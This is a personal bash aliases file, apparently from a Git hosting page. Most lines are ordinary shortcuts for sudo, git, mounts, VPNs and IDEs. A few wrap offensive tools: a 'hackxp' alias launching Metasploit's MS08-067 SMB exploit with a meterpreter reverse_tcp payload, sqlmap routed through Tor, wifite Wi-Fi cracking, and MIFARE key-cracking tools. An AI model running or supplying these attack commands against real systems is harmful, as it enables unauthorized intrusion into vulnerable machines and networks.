You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

bash_aliases 4.9KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111
  1. alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
  2. alias cls="clear"
  3. alias nano="nano -K"
  4. alias l="/bin/ls --color"
  5. alias ll="/bin/ls --color -l"
  6. alias lla="/bin/ls --color -l -a"
  7. alias ls="/bin/ls -a --color"
  8. alias lock="i3lock"
  9. alias traceroute="traceroute -n"
  10. alias reload="source ~/.bashrc"
  11. alias wakeserv4="wakeonlan -i 192.168.1.255 00:0f:fe:88:94:da"
  12. alias shutserv4="ssh serv4 shutdown -hP 0"
  13. alias shut="sudo shutdown -h 0"
  14. alias shutms="shutserv4 && shut"
  15. alias service="sudo service"
  16. alias ifconfig="sudo ifconfig"
  17. alias ip="sudo ip"
  18. alias killall="sudo killall"
  19. alias mount="sudo mount"
  20. alias umount="sudo umount"
  21. alias apt-get="sudo apt-get"
  22. alias apt-cache="sudo apt-cache"
  23. alias de="dhcp eth0"
  24. alias update-rc.d="sudo update-rc.d"
  25. alias status="git status"
  26. alias commit="git commit"
  27. alias push="git push"
  28. alias py="ipython3"
  29. alias usbip="sudo usbip"
  30. alias modprobe="sudo modprobe"
  31. alias wifi="sudo rfkill unblock wifi;sudo service wicd start; wicd-curses"
  32. alias stopwifi="sudo service wicd stop; rfkill block wifi"
  33. alias wifite="sudo wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
  34. alias route="sudo route"
  35. alias bashrc="vim ~/.bashrc; reload"
  36. alias bashaliases="vim ~/.bash_aliases; reload"
  37. alias restart="shutdown -r 0"
  38. alias dd="sudo dd"
  39. alias ddstatus="sudo pkill --signal USR1 \"^dd$\""
  40. alias ddstatusc="while :; do ddstatus; sleep 2; done"
  41. alias reboot="sudo reboot"
  42. alias teamviewer="service teamviewerd start; teamviewer"
  43. alias stopteamviewer="service teamviewerd stop"
  44. alias mounts2="sudo mount /serv2"
  45. alias umounts2="sudo umount /serv2"
  46. alias mounts4="sudo mount /serv4"
  47. alias umounts4="sudo umount /serv4"
  48. alias cryptsetup="sudo cryptsetup"
  49. alias crypt="cryptsetup"
  50. alias arp-scan="sudo arp-scan"
  51. alias arpe="arp-scan -I eth0"
  52. alias arpw="arp-scan -I wlan0"
  53. alias ping="ping -n"
  54. alias vpnint="service openvpn restart g75-internet"
  55. alias vpnintstop="service openvpn stop g75-internet"
  56. alias vpnepi="service openvpn restart rob-1-epimafia-internet"
  57. alias vpnepistop="service openvpn stop rob-1-epimafia-internet"
  58. alias vpnbe="service openvpn restart g75-betaclean"
  59. alias vpnbestop="service openvpn stop g75-betaclean"
  60. alias youtube-mp3="youtube-dl --extract-audio --audio-format mp3"
  61. alias pull="git pull --rebase"
  62. alias st="git status"
  63. alias svim="sudo vim"
  64. alias 3d="sudo /etc/3DxWare/daemon/3dxsrv -d usb"
  65. alias u=up
  66. alias p="ping 8.8.8.8"
  67. alias pe="ping epigate.epimafia.fr"
  68. alias telnet='telnet -e ^['
  69. alias gparted="sudo gparted"
  70. alias hopper="LD_LIBRARY_PATH=/opt/hopper-v3/ /opt/hopper-v3/Hopper"
  71. alias reboot-win="grub-reboot 2 && reboot"
  72. alias necessitas="~/tools/Qt5.5.0/Tools/QtCreator/bin/qtcreator"
  73. alias studio="~/tools/android-studio-latest/bin/studio.sh"
  74. alias sqlmap="~/tools/sqlmap-dev/sqlmap.py --proxy=socks5://127.0.0.1:9050 --check-tor --random-agent"
  75. alias clion="~/tools/clion-latest/bin/clion.sh"
  76. alias datagrip="~/tools/datagrip-latest/bin/datagrip.sh"
  77. alias idea="~/tools/idea-latest/bin/idea.sh"
  78. alias phpstorm="~/tools/phpstorm-latest/bin/phpstorm.sh"
  79. alias rider="~/tools/rider-latest/bin/rider.sh"
  80. alias ms4="mount /media/serv4/downloads && cd /media/serv4/downloads"
  81. alias ums4="cd && umount /media/serv4/downloads"
  82. alias mfc="time mfcuk -C -s 250 -S 250 -v 4 -R"
  83. alias mfo="time mfoc"
  84. alias git-release="git checkout master && git rebase develop && git p && git checkout develop"
  85. alias arduino="~/tools/arduino-1.6.5-r5/arduino"
  86. alias arduino1.0="~/tools/arduino-1.0.6/arduino"
  87. alias genymotion="~/tools/genymotion/genymotion"
  88. alias windows="virtualbox --startvm Windows7"
  89. alias vm01="virtualbox --startvm vm01.vpn.rthoni.com"
  90. alias vm02="virtualbox --startvm vm02.vpn.rthoni.com"
  91. alias gdo="sudo -u gogs"
  92. alias gdo-pull="gdo git pull -r"
  93. alias cert-check-etc="cert-check /etc/ssl/private $((60 * 60 * 24 * 31))"
  94. alias cert-renew-all-etc="cert-renew-all /etc/ssl/private $((60 * 60 * 24 * 31))"
  95. alias update-confs="cd ~/confs && git pull -r && reload"
  96. alias pycharm="~/tools/pycharm-latest/bin/pycharm.sh"
  97. alias xcopy="xclip -selection clipboard"
  98. alias ap="rfkill unblock wifi && sudo ap"
  99. alias nst="sudo netstat -ntpa | grep LISTEN"
  100. alias nsu="sudo netstat -nupa"
  101. alias ns=nst
  102. alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'"
  103. alias signal="google-chrome --profile-directory=Default --app-id=bikioccmkafdpakkkcpdbppfkghcmihk"
  104. alias slog="tail -f /var/log/syslog"
  105. alias devsd="ls /dev | grep sd"
  106. alias catlease="cat \$(ps aux | grep dhclient | grep -oE '\-lf [^ ]+' | cut -d' ' -f2)"
  107. alias prv-mount="cryptsetup luksOpen ~/keep/private_data private_data && mount /dev/mapper/private_data /media/private_data && cd /media/private_data"
  108. alias prv-umount="umount /media/private_data && cryptsetup luksClose private_data"
  109. alias ssh-socks="ssh -N -D 127.0.0.1:1080"
  110. alias dc="docker-compose"